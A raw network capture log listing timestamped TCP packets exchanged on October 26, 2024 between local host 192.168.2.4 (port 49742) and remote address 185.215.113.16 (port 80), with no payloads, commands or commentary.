Oct 26, 2024 05:54:27.196923018 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.196960926 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.196975946 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.197031975 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.197109938 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.197125912 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.197140932 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.197154045 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.197171926 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.197175026 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.197186947 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.197196007 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.197211981 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.197259903 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.197278023 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.197417021 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.197439909 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.197552919 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.197611094 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.197612047 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.197628021 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.197705030 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.197726011 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.197748899 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.197748899 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.198044062 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.198108912 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.198123932 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.198158979 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.198163033 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.198230028 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.235153913 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.235229015 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.235260010 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.235297918 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.235343933 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.235343933 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.285612106 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.285725117 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.285753012 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.285816908 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.285816908 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.358385086 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.358422041 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.358437061 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.358450890 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.358464956 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.358479977 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.358501911 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.358536959 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.358551025 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.358637094 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.358637094 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.358671904 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.358686924 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.358700991 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.358716011 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.358760118 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.358760118 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.358836889 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.358853102 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.358930111 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.359376907 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.359400988 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.359503984 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.359519005 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.359535933 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.359559059 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.359613895 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.359615088 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.362322092 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.396574020 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.396672010 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.396706104 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.396754026 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.442950010 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.446711063 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.446788073 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.446822882 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.446934938 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.489882946 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.519396067 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.519429922 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.519536018 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.519568920 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.519594908 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.519603014 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.519624949 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.519653082 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.519685984 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.519718885 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.519751072 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.519752026 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.519767046 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.519980907 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.520032883 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.520060062 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.520095110 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.520131111 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.520200968 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.520299911 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.520334005 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.520368099 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.520370007 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.520737886 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.520812988 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.520855904 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.520889044 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.520925045 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.520952940 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.521078110 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.521078110 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.557730913 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.557760954 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.557794094 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.557826996 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.557842016 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.557842016 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.599158049 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.607858896 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.608103037 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.608131886 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.608164072 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.608205080 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.608351946 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.680587053 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.680617094 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.680666924 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.680700064 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.680727959 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.680779934 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.680783033 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.680830002 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.680860996 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.680862904 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.680896997 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.680937052 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.680989981 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.681022882 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.681052923 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.681056023 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.681404114 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.681476116 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.681509018 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.681550980 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.681571007 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.681622982 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.681651115 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.681690931 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.681804895 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.681875944 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.681904078 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.681955099 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.682044029 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.682095051 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.682105064 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.682122946 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.682226896 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.718827963 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.718848944 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.718864918 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.718895912 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.718997002 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.769373894 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.769390106 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.769404888 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.769532919 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.817915916 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.851597071 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.851634979 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.851670027 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.851700068 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.851749897 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.851783991 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.851794958 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.851794958 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.851813078 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.851846933 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.851866961 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.851883888 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.851892948 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.851917982 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.851950884 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.851984978 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.852015972 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.852056026 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.852086067 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.852118969 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.852150917 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.852158070 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.852158070 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.852184057 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.852217913 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.852246046 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.852248907 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.852281094 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.852318048 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.852351904 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.852380991 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.852380991 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.854330063 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.880141973 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.880188942 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.880202055 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.880215883 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.880266905 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.880268097 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.930576086 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.930620909 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.930677891 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.930689096 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:27.930706978 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:27.934519053 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.003566980 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.003588915 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.003617048 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.003633976 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.003650904 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.003667116 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.003679037 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.003683090 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.003700972 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.003722906 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.003773928 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.003917933 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.003978014 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.004015923 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.004182100 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.004316092 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.004348993 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.004440069 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.004452944 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.004491091 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.004528046 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.004548073 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.004554033 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.004570961 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.004659891 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.004659891 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.004828930 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.004848957 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.004897118 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.041331053 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.041646957 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.041717052 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.041735888 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.041815042 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.041898012 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.091844082 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.091856956 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.091866970 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.091969013 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.092025042 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.092350006 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.164649010 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.164665937 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.164683104 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.164696932 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.164712906 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.164736986 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.164751053 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.164766073 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.164793015 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.164853096 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.164853096 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.165026903 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.165123940 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.165138006 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.165188074 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.165313005 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.165313005 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.165368080 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.165407896 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.165420055 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.165452957 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.165597916 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.165636063 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.165640116 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.165652037 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.165688038 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.165709019 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.165973902 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.166006088 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.166018009 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.166033030 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.166060925 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.202857971 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.202893019 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.202927113 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.202965975 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.253062010 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.253259897 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.253324032 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.253354073 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.253387928 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.253546000 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.302351952 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.325762987 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.325973034 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.326006889 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.326029062 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.326040030 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.326072931 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.326092005 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.326107025 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.326138973 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.326174974 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.326176882 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.326258898 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.326306105 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.326313972 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.326348066 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.326437950 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.326441050 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.326483011 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.326626062 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.326678991 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.326715946 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.326747894 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.326797962 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.326797962 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.326945066 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.326997995 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.327048063 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.327054024 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.327083111 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.327115059 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.327137947 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.364094973 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.364129066 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.364156961 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.364162922 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.364229918 CEST	49742	80	192.168.2.4	185.215.113.16
